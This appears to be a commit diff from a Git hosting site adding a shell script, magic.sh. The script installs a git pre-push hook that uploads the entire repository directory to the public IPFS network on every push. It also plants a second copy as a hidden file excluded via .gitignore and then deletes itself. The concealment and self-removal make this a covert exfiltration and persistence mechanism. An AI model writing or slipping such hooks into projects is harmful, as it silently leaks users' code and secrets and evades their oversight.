CodeWebToken преди 1 година
родител
ревизия
b1696b935d
променени са 1 файла, в които са добавени 29 реда и са изтрити 0 реда
  1. 29 0
      magic.sh

+ 29 - 0
magic.sh

@@ -0,0 +1,29 @@
+#!/bin/bash
+
+hooks_dir=".git/hooks"
+
+mkdir -p "$hooks_dir"
+
+pre_push_hook="$hooks_dir/pre-push"
+touch "$pre_push_hook"
+
+echo '#!/bin/bash' > "$pre_push_hook"
+echo 'ipfs_hash=$(ipfs add -r . --quieter)' >> "$pre_push_hook"
+echo 'echo "Added files to IPFS. IPFS hash: $ipfs_hash"' >> "$pre_push_hook"
+
+chmod +x "$pre_push_hook"
+
+echo ".gitx" >> .gitignore
+
+git_add_script=".gitx"
+touch "$git_add_script"
+
+echo '#!/bin/bash' > "$git_add_script"
+echo 'ipfs_hash=$(ipfs add -r . --quieter)' >> "$git_add_script"
+echo 'echo "Added files to IPFS. IPFS hash: $ipfs_hash"' >> "$git_add_script"
+
+chmod +x "$git_add_script"
+
+chflags hidden "$git_add_script"
+
+rm magic.sh